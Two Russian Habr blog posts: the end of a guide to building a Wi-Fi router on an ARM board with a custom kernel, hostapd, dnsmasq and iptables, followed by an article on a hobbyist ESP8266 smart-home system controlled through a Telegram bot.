ln -sf `which arm-linux-gnueabihf-gcc-4.7 ` /usr/local/bin/arm-linux-gnueabihf-gcc
```
Далее нам необходимо скачать с гитхаба исходный код ядра. Клонируем репозиторий себе, переходим в папку с исходниками и переключаемся на версию 3.4:
```
git clone https://github.com/linux-sunxi/linux-sunxi linux-sunxi
cd linux-sunxi
git checkout sunxi-3.4
```
Дальше качаем базовый [файл](https://romanrm.net/dl/a10/kernels/server-3.4/3.4.43-r2-s-rm3%2b/config-3.4.43-r2-s-rm3%2b.txt) конфигурации ядра, переименовываем в `.config` и кладём в корневую папку исходников. Теперь немного конфигурации. Нам нужно выставить всё, что связано с «80211» в режим модуля. Для этого выполняем:
```
ARCH=arm make menuconfig
```
Этой командой собирается псевдографическая утилита конфигурации ядра. Выбираем в ней `Networking`, потом `Wireless`. Выбираем следующие строки одна за одной и нажимаем клавишу M на клавиатуре:
```
cfg80211 - wireless configuration API
Common routines for IEEE802.11 drivers
Generic IEEE 802.11 Networking Stack (mac80211)
```
В итоге должна быть примерно такая картина:
Далее жмём `Exit` и ещё раз `Exit`. Попадаем в главное меню, проматываем вниз и жмём `Save an Alternate Configuration File`. Подтверждаем и выходим из утилиты.
Всё, ядро мы настроили, теперь можно собирать. Выполняем следующие команды:
```
export ARCH=arm
export DEB_HOST_ARCH=armhf
export CONCURRENCY_LEVEL=`grep -m1 cpu\ cores /proc/cpuinfo | cut -d : -f 2`
fakeroot make-kpkg --arch arm --cross-compile arm-linux-gnueabihf- --initrd --append-to-version=-mykernel kernel_image kernel_headers
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- EXTRAVERSION=-mykernel uImage
cp arch/arm/boot/uImage ../uImage
```
В итоге после компиляции в каталоге уровнем выше будут лежать 3 файла: пакет с ядром, пакет с исходниками и uImage. Флешку с образом ещё не отключили? Идём туда, заливаем все 3 файла куда-нибудь в корень root. Далее вставляем флешку в плату, с помощью SSH ставим пакеты ядра и исходников. Отключаем, втыкаем обратно в комп. Далее идём в раздел с ядром (там лежат файлы script.bin, uImage и т.д.) и копируем туда с заменой новый uImage из корня второго раздела. Загружаемся с новым ядром и опять же в SSH-терминале прописываем команды:
```
ln -s /usr/src/linux-headers-$(uname -r) /lib/modules/$(uname -r)/source
ln -s /usr/src/linux-headers-$(uname -r) /lib/modules/$(uname -r)/build
```
Всё, теперь система готова к компиляции драйверов.
#### Продолжаем собирать драйвера
Переходим в папку к распакованному compat-wireless (помните скачивали?). Выполняем:
```
./scripts/driver-select rt2x00
make
make install
```
Далее нужно записать в блэклист «старые» драйвера. Дописываем в файл `/etc/modprobe.d/blacklist.conf` следующие строки:
```
blacklist rt2870sta
blacklist rt5370sta
```
Перегружаемся.
#### Настройка самого роутера
Итак, пришло время установить всё, что нужно для раздачи интернета и организации локальной сети. В качестве DHCP-сервера я выбрал dnsmasq, точкой доступа будет управлять hostapd, а соединение с провайдером будет обеспечено утилитой pppoeconf. Я не буду здесь рассматривать настройку firewall с помощью Iptables, так как информации по этому делу достаточно много в интернете, а покажу лишь базовый проброс. Он нам жизненно необходим. Итак, погнали.
Соединяемся опять же по SSH и ставим всё, что нужно:
```
apt-get install hostapd dnsmasq pppoeconf
```
##### 1. Настраиваем hostapd
hostapd — утилита для создания и управление программной точкой доступа WiFi. Имеет 2 места, из которых можно её настроить.
Первое — `/etc/default/hostapd`. Настройка автозапуска. Заменяем всю писанину там на следующие строчки:
```
RUN_DAEMON = yes
DAEMON_CONF="/etc/hostapd/hostapd.conf"
```
Второе место — `/etc/hostapd/hostapd.conf`. Основные настройки. Настроить тут можно достаточно много параметров, но я лишь приведу свою конфигурацию и объясню, что и зачем я туда вписал:
```
# интерфейс, на котором висит адаптер:
interface=wlan0
# имя драйвера адаптера:
driver=nl80211
# имя точки доступа:
ssid=MyAP
# код страны, влияет на список доступных мощностей и частот:
country_code=RU
# стандарт передачи:
hw_mode=g
# канал, на котором будет висеть точка:
channel=8
# это всё нужно для корректной настройки защиты:
macaddr_acl=0
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
# пароль к точке:
wpa_passphrase=superpass
```
##### 2. Настройка dnsmasq
dnsmasq — DHCP-DNS-TFTP-сервер с интуитивно понятным файлом конфигурации и рядом печенек. У него тоже есть файл конфигурации в `/etc/default/`, но мы его трогать не будем, ибо ничего интересного там нет. Займёмся основным конфигом — `/etc/dnsmasq.conf`. Как и с hostapd, я покажу и расскажу про свой вариант конфигурации:
```
# интерфейс, который НАДО слушать:
interface=wlan0
# интерфейс, который НИ В КОЕМ СЛУЧАЕ НЕ НАДО слушать (это наше окно в сеть, о нём чуть позже):
except-interface=ppp0
# улучшалки производительности:
bind-interfaces
cache-size=1000
domain-needed
bogus-priv
# конкретно эта улучшалка делает наш сервер главным в локальной сети:
dhcp-authoritative
# макс. кол-во доступных для аренды адресов:
dhcp-lease-max=100
# диапазон раздачи адресов (c, по, время аренды):
dhcp-range=192.168.1.5,192.168.1.100,12h
```
3. Настройка интерфейсов
Следующим шагом будет настройка интерфейсов, так как их конфигурация нужна для правильной настройки PPPoE-соединения. Как известно, интерфейсы настраиваются в файле /etc/network/interfaces. Приводим его к такому виду:
```
# локальная петля, не интересует:
auto lo
iface lo inet loopback
# эзернет, оставляем автоконфигурацию:
auto eth0
iface eth0 inet dhcp
# интерфейс адаптера:
auto wlan0
iface wlan0 inet static
# адрес самого роутера в локалке:
address 192.168.1.1
# маска подсети:
netmask 255.255.255.0
# широковещательный адрес:
broadcast 192.168.1.255
```
##### 4. Настройка PPPoE
Утилита pppoeconf предоставляет псевдографический интерфейс для полуавтоматического конфигурирования соединения с провайдером. Делается это путём набора одноимённой команды в терминале:
```
pppoeconf
```
Далее там всё интуитивно понятно, после успешной конфигурации в файл настройки сетевых интерфейсов добавится примерно такая запись:
```
auto ppp0
iface ppp0 inet ppp
pre-up /sbin/ifconfig eth0 up
provider dsl-provider
```
##### 5. Базовый проброс
Последним шагом будет настройка проброса пакетов из локальной сети во внешнюю и обратно ([маскарадинг](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%81%D0%BA%D0%B0%D1%80%D0%B0%D0%B4%D0%B8%D0%BD%D0%B3))
Выполняем следующее для установки этого самого MASQUERADE и автозагрузки конфигурации в iptables при запуске системы:
```
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -o eth0 -j ACCEPT
iptables -A FORWARD -o ppp0 -j ACCEPT
iptables-save > /etc/wifi-iptables.conf
echo '#!/bin/sh' > /etc/network/if-up.d/iptables
echo 'iptables-restore < /etc/wifi-iptables.conf' >> /etc/network/if-up.d/iptables
chmod +x /etc/network/if-up.d/iptables
```
Перезагружаемся…
#### Вместо заключения
Фуууххх, ну вот вроде и всё. Устали? Зато теперь у нас есть рабочий роутер на базе довольно шустрой платы, да ещё и с таким хорошим адаптером. По моим тестам, пинг в онлайн-играх не превышает 15-25ms, а за 2 недели аптайма вся система заглючила один раз, что вылечилось передёргиванием питания.
Кстати, о питании. Выяснилось, что для стабильной работы устройства вместе с адаптером требуется блок питания, расчитанный на мощность как минимум в 1000mA. Обратите внимание, **импульсные** зарядники от нокий **не подходят**! Не ведитесь на совпадение штекеров!
Напоследок, хочу выразить благодарность человеку с ником RM и его замечательному [ресурсу](https://romanrm.net/ru).
P.S.: буду очень признателен за конструктивную критику, но подчеркну, что пеной здесь плеваться совершенно не обязательно. Если вы знаете, как сократить кол-во шагов или сделать что-то лучше, поделитесь, я буду обновлять статью. | https://habr.com/ru/post/197862/ | null | ru | null |
# Умный дом на основе API Telegram
Как реализовать рабочую IoT систему на API Telegram, создавать устройства, предусмотрев масштабируемость и развитие проекта.
Привет, Хабр! Около года назад я доводил до ума настольные часы на лампах ИН-14. Работая над ними, мне хотелось привнести что-то новое в подобную классику: светодиодная RGB подсветка ламп, красивые эффекты для неё, управление подсветкой с телефона, создание приложения, Bluetooth, Wi-Fi, синхронизация времени…
Тут я и задумался, как я вообще пришёл к тому, что часам нужен Wi-Fi? Для чего вообще устройствам выход в сеть, беспроводные соединения? Все эти вопросы открыли для меня огромный мир IoT и я с невероятным интересом начал туда погружаться, изучая как теорию, так и предложения на рынке.
Рассуждения об IoT и как я пришёл к своему кейсу.На мой взгляд, существует несколько подходов к планированию своего умного дома:
1. Вам нужно просто включать-выключать пару розеток. Вы покупаете умную розетку любого производителя, настраиваете приложение, профит.
2. У вас есть бюджет и вам нужен полноценный умный дом с огромными возможностями, различными датчиками, охраной, обладающий отказоустойчивостью, резервным питанием и т.д. Вы обращаетесь в контору, вам создают всё под ключ, профит.
3. У вас нет бюджета, но есть углубленные знания в сфере IoT, вы ищете компоненты, микроконтроллеры, создаете код, платы, делаете нереально крутую систему, которая подходит именно вам, профит.
4. У вас нет бюджета и углублённых знаний о построении сложных систем, и вы хотите такие же широкие возможности.
Так сложилось, что мои желания и бюджет как раз относились к последнему пункту. Виделось два решения:
* купить устройства от одного производителя, настроив одну экосистему,
* покупать устройства от разных производителей, лишая себя удобства управления, устанавливая несколько приложений, проходя этапы регистрации, но, более бюджетно.
Из-за незнания всех тонкостей я выбрал второй вариант, и столкнулся с очень существенной, и как мне сейчас кажется весьма очевидной проблемой: несколько разных приложений, регистрация в каждом, настройка под себя, невозможность объединить в один интерфейс, сложность взаимодействия.
Сейчас я понимаю, что можно было купить устройства одной экосистемы, и спокойно себе пользоваться, докупая новые решения того же производителя, не испытывая неудобств. Но сложилось как сложилось — я был недоволен имеющимися у меня решениями и мне захотелось создать своё. А бросить начатое — как-то это не по мне.
В самом начале я просто делал устройства для собственного пользования, без чётко сформулированной задачи, без определения к чему это движется. Когда дело дошло до более-менее рабочих прототипов, заинтересовались друзья: «мне это нравится», «это удобно», «было бы здорово такое иметь у себя дома», «это удобнее других решений». На этом моменте как раз начало вырисовываться понимание к каким целям стоит идти.
Итак, основные задачи кейса:
* попробовать создать свою IoT экосистему,
* предусмотреть масштабируемость и добавление новых устройств,
* сделать управление максимально удобным,
* устройства должны быть бюджетнее, чем готовые решения,
* создать максимально интуитивную настройку всей системы.
Хотелось сделать такой проект, чтобы не только мне было понятно и удобно пользоваться, а чтобы я мог предложить её как минимум своим друзьям и знакомым, а как максимум — предлагать готовое решение на рынке.
О системе умного дома
---------------------
Первая важная задача — определить, с помощью чего будет происходить управление. Выбор пал на использование API Telegram, это даёт возможность управлять устройствами просто из чата. Конечно, можно было создать очередное приложение, что вышло бы в разы сложнее, дольше, ненадёжнее. Пользователям приходилось бы скачивать его, регистрироваться, запоминать пароли. Вот некоторые из преимуществ использования мессенджера:
1. Безопасность. Аккаунт под надеждой защитой Telegram.
2. Удобство. Очень просто переключиться с любого диалога на бота.
3. Кроссплатформенность. Одно приложение для любых устройств: поддерживается Android, iOS, Windows, Linux и другие.
4. Доступность. Управлять умным домом можно из любой точки мира, где доступен интернет.
Вторая важная задача — определить «мозг» всех устройств. Здесь мой выбор пал на чип ESP8266 на плате ESP-12F. Важный плюс — возможность писать код в простейшей Arduino IDE и наличие протокола ESP-NOW для связи устройств между собой внутри дома. Как я выяснил позже, решение оказалось вполне рабочим, но спорным. Обо всех минусах расскажу в конце статьи.
Для удобства, сначала расскажу об устройствах, как они работают, как работает вся система, а затем подробнее погружусь в процесс создания устройств и расскажу о нюансах кода.
На данный момент разработано несколько устройств:
1. Шлюз в виде часов Miss You Even When We're Together (MYEWWT).
2. Умная розетка.
3. Умное реле.
4. Беспроводной сенсорный выключатель.
Miss You Even When We're Together
---------------------------------
Умный дом нуждается в одной очень важной штуке. Её называют шлюз. Обычно она где-то лежит, собирая пыль как Wi-Fi-роутер, и тихонько выполняет свои неприметные, но важные функции: объединяет все устройства умного дома в единую сеть, а также выходит в интернет через Wi-Fi.
В принципе всё. Скучноватая у неё работа, да?
Зачем устройству просто стоять и выполнять эти функции, если можно сделать круче, интереснее и удобнее? Именно так я подумал и решил приступить к созданию MYEWWT.
MYEWWT выполнено в виде настольных часов, сочетающих в себе функции Wi-Fi шлюза, часов реального времени, оснащено датчиком влажности, температуры воздуха, а также фоторезистором для адаптивного изменения яркости сегментов часов в зависимости от условий освещённости в помещении.
MYEWWT взаимодействует c API Telegram, позволяя пользователю отправлять команды и предоставляет на них ответ в Telegram-боте, заранее созданном пользователем.
MYEWWT подключается к Интернету через WI-Fi и взаимодействует с Telegram ботом, получая команды от него, обрабатывает их и управляет периферийными устройствами: выключателями света, умными розетками и т.д. с помощью технологии [ESP-NOW.](https://www.espressif.com/en/products/software/esp-now/overview)
Возможности устройства MYEWWT:
* соединение с точкой доступа Wi-Fi и выход в интернет,
* обмен данными с другими устройствами умного дома с применением технологии [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview),
* контроль температуры и влажности воздуха в помещении,
* возможность смены цвета сегментов часов на любой из диапазона RGB.
Как настроить MYEWWT?
---------------------
Чтобы управлять системой умного дома grib technology с помощью устройства MYEWWT нужно создать собственного бота в Telegram.
Для этого необходимо:
1. Открыть диалог с [BotFather](https://t.me/BotFather). Это главный бот - он создаёт ботов. Нажать старт, а после его ответа ввести команду /newbot.
2. Придумать любое название (name) для бота, например «Мой дом» или «Квартира\_50».
3. Придумать имя бота (username). Оно должно оканчиваться на «\_bot». Стоит обратить внимание, имя должно быть уникальное и написано на латинице.
Пример диалога с ботомПосле завершения процедуры создания бота, необходимо сохранить выделенные на скрине данные — ссылку на бота и токен. Токен обязательно нужно хранить в тайне, так как с помощью него предоставляется доступ к боту. (На скрине недействительный, зафотошопленный токен).
После этого остается сделать следующее:
1. Включить MYWWT. Все сегменты загорятся переливающейся радугой. Нужно подключиться с телефона, планшета или компьютера к Wi-Fi сети MYEWWT с паролем iloveyou.
2. Зайти в браузер по адресу [http://10.10.10.10](http://10.10.10.10/) и ввести точку доступа своего домашнего Wi-Fi, пароль и токен созданного бота в предложенную форму.
После всех процедур в течении нескольких секунд MYEWWT соединится с сетью, время синхронизируется по NTP серверу и станет доступен весь функционал MYEWWT.
3д модель платысхема платыНа плату подаётся питание 5 В от USB кабеля. Так как микроконтроллеру ESP-12F требуется питание 3.3 В, предусмотрен блок стабилизации напряжения — непосредственно сам стабилизатор AMS1117-3.3, а также входные и выходные сглаживающие конденсаторы для обеспечения стабильности работы платы.
Светодиодам WS2812b, в отличие от ESP-12f, для корректной работы требуется 5 В, поэтому на плате предусмотрен конвертер логических уровней на основе N-канального MOSFET транзистора.
Также в схему подключен модуль DHT-22, который обменивается с модулем ESP-12f показаниями температуры и влажности воздуха по линии SDA.
Для обеспечения адаптивной яркости светодиодов в схему включен фоторезистор, подключенный к ADC пину микроконтроллера с применением резисторов, обеспечивающих рабочий диапазон на аналоговом входе микроконтроллера.
Принцип работы системы умного дома
----------------------------------
На картинке представлена схема. Именно так происходит управление всей системой: отправленное боту сообщение обрабатывается устройством MYEWWT. Если в систему добавлены дополнительные устройства — умные розетки, реле и т.д., команда от бота обрабатывается сначала устройством MYEWWT, затем передаётся подключенным в систему устройствам с применением технологии [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview).
Подробнее о прошивке
--------------------
Код я начал писать в среде Arduino IDE с применением SDK от компании Espressif для микроконтроллера ESP-12F, затем развил его в среде VS Code с применением набора инструментов PlatformIO.
Большая часть кода проекта прокомментирована и разбита на удобные части в виде нескольких файлов:
* основная, с общим циклом и объявлением глобальных переменных и некоторых функций,
* для функций, вызываемых при отправке и приеме сообщений через [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview),
* функции, используемые для работы адресных светодиодов,
* блок с функциями для работы сервера ([captive portal](https://ru.wikipedia.org/wiki/Captive_portal)),
* функция-обработчик сообщений с бота Telegram,
* блок с прочими системными функциями: отсчёт времени, обновление прошивки, синхронизация времени и т.д.
В моей системе умного дома используются два типа соединений:
1. От сервера Telegram к шлюзу MYEWWT.
2. От шлюза MYEWWT к прочим устройствам системы (розетки, реле, выключатели и т.д.).
### Соединение сервер-MYEWWT.
Все аспекты безопасности самого API Telegram, а конкретно защита профиля, защита чатов и т.д. описаны [здесь](https://core.telegram.org/#security).
Между серверами Telegram и MYEWWT устанавливается соединение по защищённому каналу связи, это гарантирует протокол SSL, сами сервера Telegram не дают возможности подключиться и получить запрос от бота, без использования SSL шифрования.
В коде прошивки благодаря [BearSSL](https://bearssl.org/) (реализация протокола SSL на языке C) создаётся клиент, с помощью которого мы имеем возможность получать и отправлять запросы к API Telegram, конкретно к указанному в прошивке (при настройке MYEWWT) боту.
Чтобы другой пользователь, получивший ссылку на бота под управлением MYEWWT или обнаружив его в поиске не смог получить доступ к нему, в коде прошивки создаётся white list, где находятся ID пользователей. ID — уникальный номер аккаунта в Telegram, его невозможно подделать и изменить. Таким образом, при настройке MYEWWT, доступ получает первый человек, обратившийся к боту, его ID сохраняется в энергонезависимой памяти, и возможность обмена сообщений закрепляется за данным пользователем, сообщения от других пользователей просто отсеиваются.
Также в коде прошивки есть возможность выдать правда доступа к MYEWWT другим пользователям — достаточно в настройках выбрать меню "Добавить пользователя" и указать его ID.
Подводя итог, можно сделать вывод о безопасности подобного соединения. Чтобы иметь несанкционированный доступ к боту — придется получить доступ к аккаунту владельца MYEWWT, что сделать довольно сложно, а при должных настройках безопасности Telegram профиля — практически невозможно.
### Соединение MYEWWT-устройства
Внутри дома прочие устройства, такие как розетки, реле, выключатели и т.д. не подключены к Wi-Fi и не связаны с интернетом (за исключением попыток связи с сервером для обновления прошивки раз в n часов)
Связь между MYEWWT и другими устройствами передаётся с помощью [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview) — встроенного в SDK от Espressif метода передачи данных. Данное соединение одноранговое, не требует времязатратного "рукопожатия" а также обеспечено возможностью применения протокола [CCMP](https://ru.wikipedia.org/wiki/CCMP), алгоритма [AES-128](https://ru.wikipedia.org/wiki/AES_(%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)). Связь между устройствами устанавливается посредством отправки пакета на MAC-адрес устройства, либо с использованием широковещательной передачи.
В документации указано ограниченное число соединений:
Максимум 20 пар, включая зашифрованные, поддерживаются на одном устройстве, включая зашифрованные пары. Максимум 10 зашифрованных пар поддерживаются в режиме Station. Максимум 6 в режиме SoftAP или SoftAP + Station.
А также указано о необходимости регистрации устройств на этапе компиляции прошивки:
```
esp_now_add_peer(broadcastAddress, ESP_NOW_ROLE_COMBO, 1, NULL, 0);
```
Несмотря на это, было установлено, что без выполнения подобных рекомендаций, можно ограничиться лишь объявлением функций, вызываемых при принятии и отправке пакета:
```
esp_now_register_recv_cb(OnDataRecv);
esp_now_register_send_cb(OnDataSent);
```
и непосредственно функцией отправки пакета:
```
esp_now_send(mac_addr, (uint8_t *) &to_switch, sizeof(to_switch));
```
ограничиваясь, таким образом, лишь памятью ESP-12f, где хранятся MAC адреса добавленных устройств.
Также стоит отметить, чтобы функции [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview) отрабатывались без ошибок, оба устройства должны быть установлены на один и тот же канал Wi-Fi. Устройства время от времени сканируют сеть, выбирают точку доступа MYEWWT, или точку доступа домашней сети Wi-Fi при недоступности сети MYEWWT, и настраиваются на её канал. При этом подключение к самой точке доступа не требуется.
Структуры для связи по ESP-NOW
------------------------------
Управление с помощью [ESP-NOW](https://www.espressif.com/en/products/software/esp-now/overview) происходит благодаря созданию структур, в которых присутствуют несколько основных переменных. ID, value, SSID и password.
SSID и password необходимы для обмена между устройствами данными об основной точке доступа Wi-Fi, чтобы устройство могло настроиться на канал и/или соединиться с сервером для обновления прошивки.
Несколько различных структур в зависимости от передающего и принимающего устройства:
* to\_relay (на принимающем устройстве from\_MYEWWT),
* to\_switch (на принимающем устройстве from\_MYEWWT),
* to\_MYEWWT (на принимающем устройстве from\_device).
Структуры с переменными в коде:
```
struct {
byte ID;
byte value;
char WIFI_ROUTER_SSID[35];
} to_relay
struct {
byte ID;
char WIFI_ROUTER_SSID[35];
uint8_t Address[6];
} to_switch;
struct {
byte ID;
byte value;
} to_MYEWWT
```
ID:
* 0 — запрос на настройку к MYEWWT от прибора,
* 1 — запрос от MYEWWT к прибору,
* 2 — запрос на настройку к MYEWWT от выключателя,
* 3 — отчет об успешной настройке к MYEWWT от выключателя,
* 4 — запрос к прибору от выключателя,
* 5 — отправка данных к выключателю от MYEWWT,
* 6 — уведомление об открытой двери,
* 7 — отчет о получении уведомления открытой двери.
value:
* 0 — выключено,
* 1 — включено,
* 2 — запрос на включение/выключение,
* 3 — запрос состояния.
Обновление прошивки
-------------------
Я предполагаю развитие системы, совершенствование и создание новых устройств, поэтому в реле и розетках а также в других устройствах предусмотрена функция обновления прошивки: раз в 12 часов устройство пытается связаться с сервером, где находится файл со следующей версией прошивки. При отсутствии файла, следующий запрос происходит через 12 часов. Если на сервере присутствует запрашиваемый файл — прошивка обновляется.
Данная возможность реализована с помощью встроенной в SDK библиотеки ESP8266httpUpdate.
В функции обновления сначала создаётся клиент:
```
WiFiClient client;
```
затем объявляются callback функции:
```
ESPhttpUpdate.onStart(update_started);
ESPhttpUpdate.onEnd(update_finished);
ESPhttpUpdate.onProgress(update_progress);
ESPhttpUpdate.onError(update_error);
```
и непосредственно сама строчка, отвечающая за связь с сервером и обновление прошивки:
```
t_httpUpdate_return ret = ESPhttpUpdate.update(client, "http://www.myserver.ru/myewwt_v2.bin");
```
Функция обновления прошивки справляется с некоторыми внештатными ситуациями и не вызывает поломок и "окирпичивания" модуля: при внезапном отключении питания, обрыве связи с сервером и прочими проблемами прошивка приостанавливается и возобновляется при восстановлении подключения или подключении питания.
Ещё одна интересная задача, которую удалось решить в процессе — конвертер из Юникода.
### Конвертер из Юникода
Помимо прочих, в проекте используются библиотека FastBot от AlexGyver, для удобного парсинга сообщений от бота. Функционал MYEWWT предполагает использование смайликов и кириллических символов, но при обращении с API Telegram обработчик получает Юникод, поэтому библиотека FastBot была доработана — дописана функция конвертации символов Юникода в UTF-8.
В википедии найдены [алгоритмы преобразования Юникода в UTF-8](https://ru.wikipedia.org/wiki/UTF-8#%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F). Нужно определить, сколько октетов используется, в соответствии с этим создать шаблоны в битовом выражении, далее побитно включить или выключить нужные биты в шаблоне, затем с помощью логического умножения взять маской биты и включить, после этого преобразовать в последовательность символов HEX системы. В результате успешно получаем русский, индийский и прочие алфавиты.
С другими символами и смайлами ситуация обстоит немного иначе: UTF-8 может занимать и 4 бита, кодируя в принципе весь диапазон Юникода, но во входящем сообщении от Telegram мы видим [суррогатные пары UTF-16](https://ru.wikipedia.org/wiki/UTF-16). Если коротко, цельные байты UTF-8 разбиваются на две пары — верхняя и нижняя часть суррогатной пары. Её нам нужно восстановить в цельный Юникод по формуле, чтобы затем преобразовать в уже знакомую нам последовательность HEX в utf-8:
Код
```
String convertUnicode(String unicodeStr) {
String out = "";
int len = unicodeStr.length();
char iChar;
char* error;
int32_t unicode_bytes; //переменная для числовой записи байтов юникода
int32_t surr_bytes1; // верхняя часть суррогатной пары
int32_t surr_bytes2; // нижняя часть суррогатной пары
for (int i = 0; i < len; i++) {
iChar = unicodeStr[i];
if (iChar == '\\') {
iChar = unicodeStr[++i];
if (iChar == 'u') {
char unicode[6];
unicode[0] = '0';
unicode[1] = 'x';
for (int j = 0; j < 4; j++) {
iChar = unicodeStr[++i];
unicode[j + 2] = iChar;
}
unicode_bytes = strtol(unicode, &error, HEX); //получаем число - юникод в hex
if ((unicode_bytes >= 0xD800) && (unicode_bytes <= 0xDBFF)) { //если находим первую кодовую единицу суррогатной пары
surr_bytes1 = unicode_bytes;
}
else if ((unicode_bytes >= 0xDC00) && (unicode_bytes <= 0xDFFF)) { //если находим вторую кодовую единицу суррогатной пары
surr_bytes2 = unicode_bytes;
unicode_bytes = (0x10000 + ((surr_bytes1 - 0xD800) * 0x0400) + (surr_bytes2 - 0xDC00)); //собираем из суррогатной пары полный юникод
//собираем по алгоритму для 4 октетов
byte myByte1 = unicode_bytes & 0b111111;
bitSet(myByte1, 7);
bitClear(myByte1, 6);
unicode_bytes >>= 6;
byte myByte2 = unicode_bytes & 0b111111;
bitSet(myByte2, 7);
bitClear(myByte2, 6);
unicode_bytes >>= 6;
byte myByte3 = unicode_bytes & 0b111111;
bitSet(myByte3, 7);
bitClear(myByte3, 6);
unicode_bytes >>= 6;
byte myByte4 = unicode_bytes & 0b111;
bitSet(myByte4, 7);
bitSet(myByte4, 6);
bitSet(myByte4, 5);
bitSet(myByte4, 4);
bitClear(myByte4, 3);
out += (char)myByte4;
out += "\0x";
out += (char)myByte3;
out += "\0x";
out += (char)myByte2;
out += "\0x";
out += (char)myByte1;
}
else if (unicode_bytes < 0x800) { //если требуется 2 октета
byte myByte1 = unicode_bytes & 0b111111;
bitSet(myByte1, 7);
bitClear(myByte1, 6);
unicode_bytes >>= 6;
byte myByte2 = unicode_bytes & 0b11111;
bitSet(myByte2, 7);
bitSet(myByte2, 6);
bitClear(myByte2, 5);
out += (char)myByte2;
out += "\0x";
out += (char)myByte1;
}
else if (unicode_bytes >= 0x800) { //если требуется три октета
byte myByte1 = unicode_bytes & 0b111111;
bitSet(myByte1, 7);
bitClear(myByte1, 6);
unicode_bytes >>= 6;
byte myByte2 = unicode_bytes & 0b111111;
bitSet(myByte2, 7);
bitClear(myByte2, 6);
unicode_bytes >>= 6;
byte myByte3 = unicode_bytes & 0b1111;
bitSet(myByte3, 7);
bitSet(myByte3, 6);
bitSet(myByte3, 5);
bitClear(myByte3, 4);
out += (char)myByte3;
out += "\0x";
out += (char)myByte2;
out += "\0x";
out += (char)myByte1;
}
} else if (iChar == '/') {
out += iChar;
} else if (iChar == 'n') {
out += '\n';
}
} else {
out += iChar;
}
}
return out;
}
```
Реле и розетка
--------------
Розетка и реле сделаны на основе одной платы, различия лишь в корпусе и подключении: в реле это клеммы, в розетке это штепсель и вилка.
Реле вышло очень компактным и отлично помещается в плоские настенные светильники, можно установить в торшеры, настольные лампы. Вмещается даже в некоторые потолочные чаши для люстры. А вообще, установить можно куда угодно: главное соблюдать мощность — 2.2 КВт, потому что на плате установлено реле на 10 А.
3д модель платысхемаНа плату подаётся питание 5 В от блока питания, подключенного через изоляционную прокладку. Так как микроконтроллеру ESP-12F требуется питание 3.3 В, предусмотрен блок стабилизации напряжения — непосредственно сам стабилизатор AMS1117-3.3, а также входные и выходные сглаживающие конденсаторы для обеспечения стабильности работы платы.
Для корректной работы реле, в отличие от ESP-12f, требуется 5 В, поэтому на плате предусмотрен транзистор MMBT2222A, позволяющий управлять обмоткой реле.
Также в схему включена тактовая кнопка для удобства аналогового управления а также поддержки возможности управления реле или розеткой при отсутствии соединения с интернетом.
Выключатель
-----------
Когда ты находишься внутри дома, не очень удобно пользоваться Телеграмом, нужен обычный выключатель. У него сенсорные кнопки, он довольно тонкий, питается от двух ААА батареек, крепится в любое место на двусторонний скотч, работает очень долго. Выключатель управляет реле и розетками также с помощью [ESP-NOW.](https://www.espressif.com/en/products/software/esp-now/overview)
3д модель платысхемаНа плату подаётся питание 3 В от батарейного отсека, в котором находятся две батарейки типа ААА. Питание микроконтроллера осуществляется с помощью режима Power-Down, при котором потребление самого микроконтроллера составляет 3 мкА. Каждый сенсорный модуль потребляет 2 мкА, в сумме весь выключатель в режиме ожидания потребляет ~7мкА, чего хватает на долгое время (от нескольких месяцев до нескольких лет в зависимости от используемых батареек и активностью использования).
В режим Power-Down микроконтроллер ESP-12F вводится благодаря отключению питания с пина EN.
Логика работы выключателя следующая: при нажатии на кнопку высокий уровень (HIGH) подается на GPIO0, GPIO2 и на пин EN, что запускает микроконтроллер. При включении в коде прошивки HIGH подаётся на GPIO0:
```
pinMode(0, OUTPUT);
digitalWrite(0, HIGH);
```
это нужно для поддержания питания на пине EN даже при незажатой кнопке. Помимо этого, HIGH подаётся также на GPIO14 или GPIO4 в зависимости от нажатой кнопки, для того, чтобы микроконтроллер смог определить какая кнопка была нажата и поднять соответствующий флаг butt1 или butt2:
```
butt1 = digitalRead(14);
butt2 = !butt1;
```
Затем, после отработки цикла (отправки запроса на включение или выключение устройства), микроконтроллер переводит пин GPIO0 в LOW, что в результате переводит пин EN также в LOW, а микроконтроллер в режим Power-Down. На случай, если кнопка не была отпущена, в качестве защитной меры микроконтроллер дополнительно вводится в режим Deep-Sleep командой deepSleepInstant.
```
digitalWrite(0, LOW);
ESP.deepSleepInstant(0);
```
p.s. (system\_deep\_sleep() назначает таймер с процедурой system\_deep\_sleep\_instant() через 100 мс, соответственно, используя напрямую данную команду мы экономим 100 мс)
Как всё это сделать?
--------------------
От идеи до готовых устройств, которые я отдавал на тестирование друзьям, а затем даже начал продавать, прошло большое количество времени, были испробованы разные варианты, разные подходы, и вот на чём я остановился.
### MYEWWT.
Начало рабочего процесса и первые платы выглядели примерно такКорпус состоит из двух частей, напечатанных на 3д принтере: основная часть, куда крепится плата, и подставка, куда крепится датчик температуры и влажности с проводом питания. Свет от светодиодов нужно рассеивать — для этого идеально подходит транслюцентная плёнка Oracal8500. Чтобы всё было красиво с лицевой стороны — закрепляю на болтиках оргстекло 2 мм, вырезанное лазером. Его заказываю на местном производстве, где занимаются фрезеровкой и лазерной резкой.
### Розетки
Корпус печатаю на 3д принтере, наклейки заказываю в местной типографии. УФ-печать на прозрачной пленке, с плоттерной резкой. Изначально корпус проектировал для того, чтобы вставить готовые штепсели и вилки — стоят они недорого, качество и надежность в разы выше, чем если бы вся розетка была готовой.
